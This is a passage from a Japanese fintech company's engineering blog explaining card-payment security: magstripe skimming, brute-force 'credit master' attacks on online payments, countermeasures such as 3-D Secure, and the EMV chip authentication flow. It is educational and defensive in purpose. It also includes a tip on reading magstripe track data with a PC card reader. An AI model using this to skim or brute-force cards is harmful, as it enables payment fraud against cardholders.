href="https://d.hatena.ne.jp/keyword/%A5%BD%A1%BC%A5%B9%A5%B3%A1%BC%A5%C9">ソースコード</a>の管理と同じでドキュメントも継続的に更新しないと様々な問題が生じていきます。新しい情報や前提が生まれた場合は必要に応じて内容を更新するようにします。ドキュメントの継続的な更新が難しい場合は、すでに内容が古くなったことを明記するなどして読み手が混乱しないように配慮しておくのがよいかもしれません。これに関しては LLM のような新しい技術を活用して、継続的にドキュメントを自動更新していくような仕組みを作れれば、と最近は考えています。</p> <h2 id="おわりに">おわりに</h2> <p>いくつかの項目に分けて<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B8%C0%B8%EC%B2%BD">言語化</a>を試みたのですが、いかがでしたでしょうか。ここに書いた全ての項目を意識しながらドキュメントを書くことは自分にとっても難しいのですが、今後もよりよいドキュメントの書き方を常に模索していきたいと思います。</p> <p>最後に、ChatGPT にドキュメントに関する俳句 (?) を考えてもらいましたので、それを紹介してこの記事を締めくくりたいと思います。</p> <blockquote><p>情報の海 一つ一つの波 大事にせよ</p></blockquote> <p>カンムではプロダクト改善に加わってくれるソフトウェアエンジニアを募集中です。カジュアル面談も大歓迎ですので、ぜひお声がけください。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.co.jp%2Fjobs%2F" title="採用 | 株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://kanmu.co.jp/jobs/">kanmu.co.jp</a></cite></p> kanmu-tech カード決済のセキュリティ的な問題点とその対策、IC チップの決済とその仕組み hatenablog://entry/820878482945332268 2023-06-29T11:27:10+09:00 2023-06-29T11:27:10+09:00 エンジニアの佐野です。カンムはカード決済のサービスを提供しています。カード決済にはいくつかの決済手段があり、マグストライプ、IC、IC非接触(俗に言うタッチ決済)、オンライン決済などの機能が提供可能です。iD のようなスマートデバイスにカード情報を入れてスマホでタッチ決済する仕組みもあります。カンムのプロダクトであるバンドルカードはマグストライプとオンライン決済、Pool はマグストライプとオンライン決済に加えて IC接触決済、IC非接触決済(タッチ決済)を提供しています。今日はセキュリティ的な観点から各種決済手段の特徴や問題点とともに、主に IC 決済の仕組みについて小ネタを交えつつ書いてい… <p>エンジニアの<a href="https://twitter.com/hiroakis_">佐野</a>です。カンムはカード決済のサービスを提供しています。カード決済にはいくつかの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B7%E8%BA%D1%BC%EA%C3%CA">決済手段</a>があり、マグストライプ、IC、IC非<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%DC%BF%A8">接触</a>(俗に言うタッチ決済)、オンライン決済などの機能が提供可能です。iD のような<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%DE%A1%BC%A5%C8%A5%C7%A5%D0%A5%A4%A5%B9">スマートデバイス</a>にカード情報を入れて<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%DE%A5%DB">スマホ</a>でタッチ決済する仕組みもあります。カンムのプロダクトであるバンドルカードはマグストライプとオンライン決済、Pool はマグストライプとオンライン決済に加えて IC<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%DC%BF%A8">接触</a>決済、IC非<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%DC%BF%A8">接触</a>決済(タッチ決済)を提供しています。今日はセキュリティ的な観点から各種<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B7%E8%BA%D1%BC%EA%C3%CA">決済手段</a>の特徴や問題点とともに、主に IC 決済の仕組みについて小ネタを交えつつ書いていこうと思います。カンムが提供しているカードは Visa カードでありクローズドな仕様や confidential なものについては言及することはできませんが、公開仕様であったり一般的な事柄のみを用いてなるべくわかりやすく書いていこうと思います。カード決済の仕組みや仕様は膨大であり一知半解な部分もありますので、もしそのような記述を見つけた場合はコメントいただけると幸いです。</p> <ol> <li>前提知識</li> <li>マグストライプの問題点と対策</li> <li>オンライン決済の問題点と対策</li> <li>ICチップの統一規格<a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a>の登場</li> <li>ICチップ決済の処理フロー</li> <li>ICチップ決済(タッチ決済)のフロー</li> <li>まとめ</li> </ol> <h2 id="1-前提知識">1. 前提知識</h2> <p>記事を読んでもらうための前提知識を書きます。カード決済の技術を説明するには決済周りの知識なしには説明が難しいところがあります。読者はまずは以下の点を抑えてください。</p> <ul> <li>業界構造</li> <li>オーソリゼーション / オーソリ / Authorization</li> <li>カードに入っている情報</li> </ul> <h3 id="11-業界構造">1.1 業界構造</h3> <p>次の図はカード決済の仕組みを説明する際に私がよく出している図です。ブランド、加盟店/<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%AF%A5%EF%A5%A4%A5%A2">アクワイア</a>ラ、イシュア、ユーザが登場人物として存在します。ブランドがこの業界の中心にいてプラットフォームとルールの策定をしています。両サイドに<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%AF%A5%EF%A5%A4%A5%A2">アクワイア</a>ラとイシュアがいます。<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%AF%A5%EF%A5%A4%A5%A2">アクワイア</a>ラはブランドの名前を担いで店舗に「(Visa/Mastercard/<a class="keyword" href="https://d.hatena.ne.jp/keyword/JCB">JCB</a>...)カード決済できるようにしませんか?」とカードを使える場所を増やすプレイヤーです。ユーザはあまり<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%AF%A5%EF%A5%A4%A5%A2">アクワイア</a>ラの存在を意識することがないかもしれません。ユーザはカード会社(イシュア)にカード発行を依頼し、発行が完了するとそのカードが使えるようになります。 まとめると、プラットフォームとルールを提供するブランド、カードを使える場所を増やす<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%AF%A5%EF%A5%A4%A5%A2">アクワイア</a>ラ、カードを使う人を増やすイシュア、カードを使うユーザ、が存在していてそこでお金がぐるぐる回るのがこの業界のエコシステムです。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20230628/20230628143514.png" width="1200" height="896" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h3 id="12-オーソリゼーション--オーソリ--Authorization">1.2 オーソリゼーション / オーソリ / Authorization</h3> <p>似たような図ですがオーソリという言葉を覚えておいてください。これは実店舗、オンラインショップ関わらず、カードを使ったときにイシュアに飛んでくる電文です。カードのデータ、利用金額、店舗や使われた端末の情報などが入っていて、イシュアはそのデータを見て購入可否を判断して店舗に応答を返します。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20230629/20230629100358.png" width="1200" height="896" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h3 id="13-カードに入っている情報">1.3 カードに入っている情報</h3> <p>バンドルカードとPoolを例に説明します。</p> <ul> <li>バンドルカード</li> </ul> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20230628/20230628135155.png" width="634" height="624" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <a href="https://kanmu.co.jp/news/20190509-newdesign/">https://kanmu.co.jp/news/20190509-newdesign/</a></p> <ul> <li>Pool</li> </ul> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20230628/20230628135213.png" width="736" height="468" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <a href="https://pool-card.jp/creditcard/">https://pool-card.jp/creditcard/</a></p> <h4 id="1-マグストライプ--磁気ストライプ">(1) マグストライプ / 磁気ストライプ</h4> <p>Track データと呼ばれるデータが記録されています。Track データには PAN(カード番号のこと), 有効期限, セキュリティコード(CVV: Card Verificaiton <a class="keyword" href="https://d.hatena.ne.jp/keyword/Value">Value</a>。カード裏面の物とは別物。)... といった情報が入っています。Track データの仕様やフォーマットは公開されています(ref: <a href="https://ja.wikipedia.org/wiki/ISO/IEC_7813">ISO/IEC 7813 - Wikipedia</a>)</p> <h4 id="2-署名">(2) 署名</h4> <p>直筆のサイン。店舗で決済をした際に求められるサインと同じもの。</p> <h4 id="3-カードホルダ名">(3) カードホルダ名</h4> <p>ネット決済で入力するものはこちら。アルファベットの姓名。豆知識ですが Dr. のような敬称を入れることも可能です。</p> <h4 id="4-PAN-Primary-Account-Number--会員番号">(4) PAN (Primary Account Number) / 会員番号</h4> <p>カード番号のことです。 業界内では PAN (パン)と呼ばれます。fPAN (Funding Primary Account Number) と呼ぶビジネスパートナーもいますが、付き合いのある会社では PAN という呼称が主流です。</p> <h4 id="5-有効期限">(5) 有効期限</h4> <p>カードの有効期限です。これも豆知識ですが有効期限とは別に effective date (いつから使えるか?)という概念も存在します。</p> <h4 id="6-セキュリティコード--CVV2">(6) セキュリティコード / CVV2</h4> <p>3桁の数字。ネット決済で入力を求められるものです。たまにこのカード裏面のセキュリティコードを CVV と説明しているサイトがありますが正式名称は CVV2 です。CVV はマグストライプに埋め込まれているものでこれとは別物になります。マグに記録されたセキュリティコード CVV の方はユーザが意識することはないので、対ユーザ向けにセキュリティコードと言うとこちらのカード裏面のものを指すのが一般的です。ビジネスパートナー間では CVV と CVV2 を言い間違えると認識齟齬に繋がったりします。また Visa ブランドでは CVV ですが Mastercard ブランドでは同様のものは CVC と呼ばれたりします。</p> <h4 id="7-IC-チップ">(7) IC チップ</h4> <p>さて IC チップです。カンムでは Pool の方には搭載されています。ICチップには何が入っているか?ですが、まずはマグストライプと同様に Track データが入っています。こちらにも3桁のセキュリティコードが入っているのですがこちらは iCVV と呼ばれています。これの値もまた CVV, CVV2 とは別です。ややこしいですね。加えて IC チップには PIN (4桁の暗証番号)、 証明書、暗号鍵... などマグにはないデータ、さらに <a class="keyword" href="https://d.hatena.ne.jp/keyword/ATC">ATC</a> (Application Transaction Counter)という決済回数を記録するカウンタ, PIN入力失敗回数を記録するカウンタ, その他大量の設定が入っています。 その他大量の設定というのは、例えばですが、話が一瞬店頭のカード端末の方に移るのですが、店頭のカード端末にはフロアリミットといって利用可能金額の上限値のような設定が入っていたりします。ICチップにはそれを超過した利用金額だった場合どうするか?というような設定があります。設定値はイシュアが IC チップを作る際に決定していて、前述の例の場合、決済拒否する?そのままイシュアにオーソリを投げる?というような挙動が決められています。他にも CVN (Cryptogram Version Number)と呼ばれる IC を使った決済の時にオーソリとともにイシュアに飛んでくる<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%AF%A5%EA%A5%D7%A5%C8%A5%B0%A5%E9%A5%E0">クリプトグラム</a>(後述: オーソリの正当性を検証するために使う暗号文のようなものです)のバージョンを示す物など、普段カードユーザが意識することはないシステム的な情報も含まれます。</p> <p>豆ですが PIN は4桁の暗証番号と書きましたが4桁以上にすることも仕様上は可能だったりします。また ICチップでの決済を行った際に加算されるカウンター、<a class="keyword" href="https://d.hatena.ne.jp/keyword/ATC">ATC</a> の存在を書きましたがこれは2バイトのキャパシティがあり上限は 0xFFFF = 65535 です。つまりタッチ決済を含むICチップ決済を65535回以上行うとこのカウンタの上限を突破します。これを超えるとたぶんそのカードでの IC 決済は不可能になります。カードの有効期限を5年とした場合、IC を使った決済を毎日36回やり続けると5年以内にこれに到達する計算になります。</p> <p><a class="keyword" href="https://d.hatena.ne.jp/keyword/ATC">ATC</a> はカード利用控えに印字されることもあります。次のカード利用控えに記載されている <a class="keyword" href="https://d.hatena.ne.jp/keyword/ATC">ATC</a> 003E は 0x3E = 62 回目の IC 決済であることを示しています。16進数ではなく10進数で印字される場合もあります。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20230628/20230628205611.png" width="672" height="858" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>内部仕様をずけずけと書いて大丈夫か?と思うかも知れませんが、これらはカンム独自の仕様でもビジネスパートナーの仕様でもなく後述する <a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a> という公開された業界統一仕様です。</p> <h4 id="8-ICチップが非接触決済-タッチ対応しているという意味のマーク">(8) ICチップが非<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%DC%BF%A8">接触</a>決済 (タッチ)対応しているという意味のマーク</h4> <p>これは人間のためのマークです。ここに何かのデータが入っているわけではないです。</p> <p>私の推測を含めた小ネタですが、カード端末側の話になってしまうのですが、端末にもこのマークがついていたりします。以前 <a class="keyword" href="https://d.hatena.ne.jp/keyword/Twitter">Twitter</a> で決済端末にこのマークがついているのに店員がタッチ決済させてくれなかった、というぼやきを見たことがあります。端末の方だとこのマークがついているのはハードウェアが非<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%DC%BF%A8">接触</a><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A4%A5%F3%A5%BF%A1%BC%A5%D5%A5%A7%A5%A4%A5%B9">インターフェイス</a>を備えているという意味であって、ソフトウェアであったり店舗側の業務も対応しているかは別問題です。なのでそのような場合は単純に店員が知らなかった可能性ももちろんありますが、業務が対応できていないという可能性も十分にあります。</p> <h2 id="2-マグストライプの問題点と対策">2. マグストライプの問題点と対策</h2> <p>最も古典的なカード<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B7%E8%BA%D1%BC%EA%C3%CA">決済手段</a>であるマグストライプの問題点とその対策について書きます。 マグストライプを使った決済はカードの磁気部分をカード端末にスワイプしてそのデータを読み取ります。ここの部分には Track データと呼ばれる PAN や有効期限が刻まれたデータが入っていることは述べました。これが端末から読み取られてイシュアに決済金額などとともにオーソリとして飛んできます。イシュアはカードが有効期限を超過していないか?CVVが正しいか?金額が利用可能枠内に収まっているかなどをチェックして問題なければ商品の購入ができます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20230628/20230628192826.png" width="1080" height="1200" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>ここで主にセキュリティの面からみた問題点は次の2つになります。</p> <h4 id="本人確認が店員の裁量に任されているという点">本人確認が店員の裁量に任されているという点</h4> <p>マグストライプを使った決済の本人確認はどうしているのでしょうか?「サイン」です。そして店員はそのサインがカード裏面の署名と一致しているかどうかを目視で確認します。マグストライプはカード決済の中では最も古い<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B7%E8%BA%D1%BC%EA%C3%CA">決済手段</a>で歴史を考えれば仕方がないことなのかもしれませんが、今の時代からすると一驚の本人確認方法になります。マグストライプ決済の仕組み上、イシュアはオーソリ時の本人確認プロセスに参加することができません。また、図中ではサインによる本人確認をしてからオーソリという形で書きましたが店頭のオペによってはオーソリを飛ばしてから事後にサインを求めるケースもあるかもしれません。</p> <h4 id="スキミングに対して脆弱な点"><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A5%DF%A5%F3%A5%B0">スキミング</a>に対して脆弱な点</h4> <p>マグストライプにはセキュリティコード CVV が刻まれています。これは磁気データを偽装したとしても CVV が不一致であれば偽物されたカードであるという判定をすることに役立ちます。磁気カードは簡単に作れることに加えて Track データの配列も公開されています。そのため適当な PAN や盗んだ PAN を磁気データに入れたカードは比較的簡単に作ることができてしまいますが CVV でその正当性を確認するという仕組みです。 しかしいわゆる<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A5%DF%A5%F3%A5%B0">スキミング</a>はどうでしょうか。マグストライプの Trackデータは平文がそのまま入っているため適当なカードリーダで読み取ると CVV を含めマグストライプのデータすべてをキャプチャすることができます。かなり昔から<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A5%DF%A5%F3%A5%B0">スキミング</a>被害はカード業界やユーザを悩ませる種として存在しています。PCに接続できるカードリーダーも安価に手に入れることができるため今でもポピュラーな脅威として存在しています。もしそのようなデ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D0%A5%A4%A5%B9">バイス</a>を持っている方で興味がある人は試してみてください。カードリーダを PC に接続して外付けキーボードとして認識させてからマグをスワイプするとキーイベントが上がってきます。<a class="keyword" href="https://d.hatena.ne.jp/keyword/Linux">Linux</a> であれば <a class="keyword" href="https://d.hatena.ne.jp/keyword/linux">linux</a>/input.h を利用してキーイベントを拾えるのでご自身の持っているカードのマグに何が入っているかを見ることができます。このようにマグストライプは非常に単純です<a href="#f-c0d7019a" name="fn-c0d7019a" title="なおスキミングは犯罪です。本記事から得られた知識を悪用した場合の責任は一切負いません。">*1</a>。</p> <p>脅威は盗難、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A5%DF%A5%F3%A5%B0">スキミング</a>です。ユーザができる対策としては盗難の被害にあったら<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%DE%A5%DB">スマホ</a>から即座に利用停止にできるようなカードを使うことくらいでしょうか。また<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A5%DF%A5%F3%A5%B0">スキミング</a>されて突如高額の請求が来てしまった場合はすぐにカード会社に身に覚えのない決済の申告をすることです。カード会社の裁量や、カード会社と不正利用のあった加盟店間で行われる業務プロセス(チャージバックと呼ぶ)の状況にも依りますが全額返ってくることもあります。イシュア、加盟店といったサービス提供側ができる対策としては PIN 入力ありの IC 決済をなるべく使ってもらうことです。</p> <p>イシュアが単独でできる対策としては決済<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>の異常検知があります。金額的、地理的、時間的な不自然さをモニタリングすることで不正防止につなげることができます。例えば日本の実店舗で1000円の決済<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>が発生した10分後に同様のカードで<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%E1%A5%EA">アメリ</a>カの実店舗で10ドルの決済<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>が発生したら不自然である、というような。</p> <h2 id="3-オンライン決済の問題点と対策">3. オンライン決済の問題点と対策</h2> <p>オンライン決済についても同様に書きます。こちらはオンラインショップのサイトに PAN, 有効期限, CVV2 を手入力して決済を行います。マグストライプが Track データや決済金額をオーソリに乗って飛んでくるのと同様、こちらは手入力されたデータがオーソリに乗って飛んできます。本人確認は強いて言うなら CVV2 の入力でしょうか。セキュリティコードの用途はあくまでカードの正当性だと自分は理解しています。なので図中には本人確認という文言は入れておりません。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20230628/20230628193511.png" width="1081" height="1200" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>ここで問題点は次の通り。</p> <h4 id="ブルートフォース攻撃に弱い点"><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D6%A5%EB%A1%BC%A5%C8%A5%D5%A5%A9%A1%BC%A5%B9%B9%B6%B7%E2">ブルートフォース攻撃</a>に弱い点</h4> <p>カード番号にはある程度の法則性があり、また有効期限は4桁の数字、CVV2 は3桁の数字なので単純な<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D6%A5%EB%A1%BC%A5%C8%A5%D5%A5%A9%A1%BC%A5%B9%B9%B6%B7%E2">ブルートフォース攻撃</a>で不正被害を受けることがあります。これは<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%AF%A5%EC%A5%B8%A5%C3%A5%C8%A5%DE%A5%B9%A5%BF%A1%BC">クレジットマスター</a>攻撃と呼ばれていてポピュラーな不正手段です。店頭で人力で決済を行うのではなくウェブで行うことができるのでちょっとパソコンに詳しい攻撃者が<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D7%A5%ED%A5%B0%A5%E9%A5%DE%A5%D6%A5%EB">プログラマブル</a>に不正を仕掛けることもできます。</p> <h4 id="カード番号有効期限CVV2-といったカード両面の情報を記憶されると不正利用ができてしまう点">カード番号、有効期限、CVV2 といったカード両面の情報を記憶されると不正利用ができてしまう点</h4> <p><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D6%A5%EB%A1%BC%A5%C8%A5%D5%A5%A9%A1%BC%A5%B9%B9%B6%B7%E2">ブルートフォース攻撃</a>以前にそもそも他人にカード番号と有効期限とCVV2を記憶されてしまうとそれだけで不正利用されてしまいます。記憶力という武器を使った次のような事件も起きています。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fwww.gizmodo.jp%2F2019%2F09%2Fjapanese-clerk-allegedly-stole-over-1-300-credit-cards.html" title="レジ店員が1300件ものクレカ情報を覚えて不正利用。Apple Card求む" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://www.gizmodo.jp/2019/09/japanese-clerk-allegedly-stole-over-1-300-credit-cards.html">www.gizmodo.jp</a></cite></p> <p>ユーザ、イシュア、加盟店それぞれが行うべき対策としては、決済時に<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%EF%A5%F3%A5%BF%A5%A4%A5%E0%A5%D1%A5%B9%A5%EF%A1%BC%A5%C9">ワンタイムパスワード</a>を使うようにする、3D セキュアに対応する、などがあります。ユーザ、イシュア、加盟店それぞれと書いたのは、これらの対策はまずイシュア・加盟店双方が対応している必要があるというのと、ユーザがカード発行時やその後の設定、<a class="keyword" href="https://d.hatena.ne.jp/keyword/EC%A5%B5%A5%A4%A5%C8">ECサイト</a>での設定で<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%EF%A5%F3%A5%BF%A5%A4%A5%E0%A5%D1%A5%B9%A5%EF%A1%BC%A5%C9">ワンタイムパスワード</a>を使うというような設定があった場合、それらを有効にしておく必要があり、サービス提供側、ユーザ側それぞれ合わせ技の対策を講じておく必要があるためです。 バンドルカードと Pool はともに 3D セキュアに対応しています。そちらの詳細は <a href="https://tech.kanmu.co.jp/entry/2022/06/27/135210">https://tech.kanmu.co.jp/entry/2022/06/27/135210</a> をご覧ください。3D セキュアは簡単に言うと、オンライン決済で購入ボタンを押下したあとにカード会社からカードを発行する際に設定したパスワードや、登録した電話番号に SMS が飛んできてそれを入力してその認証が通れば本丸の決済に進むことができるような仕組みです。ちなみに3Dセキュアも正確に言うと <a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a> 3Dセキュアと呼ばれ、後述する統一された業界仕様になります。</p> <p>加えてですが、イシュア単独でできる対策も存在しています。例えばマグストライプ同様に決済<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>の異常検知やモニタリング、CVV2 や有効期限を連続で何回か間違えたらロックをかけるなどです。</p> <h2 id="4-ICチップの統一規格EMVの登場">4. ICチップの統一規格<a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a>の登場</h2> <p>ここで IC チップの登場です。現在、ほとんどのカード会社において IC チップは標準的に搭載されるようになっています。ICチップの目的の1つはマグストライプの欠点を埋める、つまりセキュリティの強化です。サインのみで本人確認がされていたのに対し、IC 使用時は4桁の暗証番号(PIN)の入力が必要になります。手書きのサイン+店員による目視確認と比べるとより確実な本人確認となります。 その IC チップですが各ブランドやカード会社が独自に開発しているわけではありません。<a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a> と呼ばれる統一規格をもとに開発をしています。この規格は <a class="keyword" href="https://d.hatena.ne.jp/keyword/Europay">Europay</a> International, Mastercard, Visa が共同で策定したためその頭文字をとって <a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a> と呼ばれています。ICチップ搭載のカードは<a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a>対応カードと呼ばれたりもします。「1.2 カードに入っている情報」で少し触れた <a class="keyword" href="https://d.hatena.ne.jp/keyword/ATC">ATC</a>, CVN や PIN の誤り回数のカウンタなどの仕様は <a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a> で決められています。おそらく Mastercard や <a class="keyword" href="https://d.hatena.ne.jp/keyword/JCB">JCB</a> ブランドのカードの IC チップにも同じようなものが入っているでしょう。<a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a> の仕様書は次のサイトからダウンロードすることができます。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fwww.emvco.com%2F" title="Enabling Seamless and Secure Payments Worldwide | EMVCo" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://www.emvco.com/">www.emvco.com</a></cite></p> <h2 id="5-ICチップ決済の処理フロー">5. ICチップ決済の処理フロー</h2> <p>ICチップを使った決済の処理フローは次の通りです。先述のマグストライプ、オンライン決済と比べると少し複雑になっています。図は <a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a> のドキュメントから拝借しています。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20230628/20230628134917.png" width="791" height="1200" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a> 4.3 Book 3 Application Specification</p> <p>まずカードをカード端末に挿します。するとカード端末が IC の情報を読み出し -> Data Authentication (カードの正当性の確認) -> Cardholder Verification (本人認証: PIN の入力など) -> 後のフェーズの挙動を決定する処理(Terminal Risk Management, Terminal Action Analysis, Card Action Analysis) -> 必要であれば Online Processing &amp; Issuer Authentication (取引認証: オーソリの正当性の確認とオーソリ自体の処理)と Script Processing を行う -> 買い物OK/NG という流れとなります。</p> <p>もう少しわかりやすく本記事の趣旨になる部分のみを強調して書くとこうなります。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20230628/20230628134950.png" width="1200" height="974" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h3 id="51-Data-Authentication-カード認証">5.1 Data Authentication カード認証</h3> <p>Data Authentication は我々はカード認証と呼んでいます(正確にいうとカード認証の一部ですが...)。これは何かというと IC に仕込まれた証明書をカード端末が検証するフェーズです。マグストライプではCVV を利用して偽装防止を行いますが、IC では証明書の検証によって IC が偽装されていないかをチェックします。仕様のポイントとしてはここで検証 NG になってもエラーになるとは限らないという点です。IC に入っている設定の1つとして、もし Data Authentication でNGになったらどうするのか?という設定があります。この設定によって Data Authentication がNG の場合にそのまま次のフェーズに進むのか?NGとして拒否するのか?が決まっています。次のフェーズに進む、にしてある場合、最終的には Online Processing &amp; Issuer Authentication のフェーズでオーソリに Data Authentication の結果が入ってくるのでイシュアはそれをちゃんと見てOK/NGを判断する必要があります。</p> <h3 id="52-Cardholder-Verification-本人認証">5.2 Cardholder Verification 本人認証</h3> <p>続いて Cardholder Verification 、つまり本人認証です。PINを入力するのが主流ですが、IC や 端末の設定であったり店員のオペであったりによりこれは可変します。たとえば IC を挿入したけどレシートや<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%BF%A5%D6%A5%EC%A5%C3%A5%C8">タブレット</a>にサインを書き、結局はサインによる本人確認が行われるケースもあります。皆様も経験があるかもしれません。 また、逆に例えば普段コンビニでカードを使うと PIN を求められることはあまりないと思いますが、ためしに高額の買い物(たしか合計10000円以上)をしてみてください。ICチップかつPIN入力必須の処理に移行すると思います。状況によって求められる本人認証方法が変わるのがこのフェーズの特徴です。 PIN 入力の場合、ユーザが PIN を入力してそれが照合されると本人確認がOKとなり次のフェーズに進みます。ちなみに PIN の照合ですが、場合によってはイシュアに PIN が飛んできてそれの照合をイシュアが行うケースもあります(オンラインPINと呼ぶ)。オンラインPIN の場合は次の Issuer Authentication のフェーズでオーソリとともに暗号化されたPINが飛んでくるのでそれを復号してユーザがカード発行時に設定したPINと一致しているかを確認する必要があります。</p> <h3 id="53-Issuer-Authentication-取引認証">5.3 Issuer Authentication 取引認証</h3> <p>最後は Online Processing &amp; Issuer Authentication です。オーソリ自体の処理(利用枠内の決済金額か?有効期限は過ぎていないか?etc)に加えて、オーソリの正当性を検証するフェーズです。IC には証明書や各種設定が入っている旨述べましたが、カード固有の鍵もいくつか入れてあります。このフェーズではそのうちの鍵の1つである <a class="keyword" href="https://d.hatena.ne.jp/keyword/ICC">ICC</a> Master Key と呼ばれるものを利用して、端末の情報とICの情報、買い物金額などの情報から ARQC (Authorization Request Cryptogram)と呼ばれる<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%AF%A5%EA%A5%D7%A5%C8%A5%B0%A5%E9%A5%E0">クリプトグラム</a>が生成されます、この生成には 3DES などの一般的な暗号化<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%B4%A5%EA%A5%BA%A5%E0">アルゴリズム</a>が用いられます。AES ではなく 3DES というのが気になる点ですが、秘匿化するために暗号化を施しているというよりは<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%AF%A5%EA%A5%D7%A5%C8%A5%B0%A5%E9%A5%E0">クリプトグラム</a>を生成する過程で暗号化<a class="keyword" 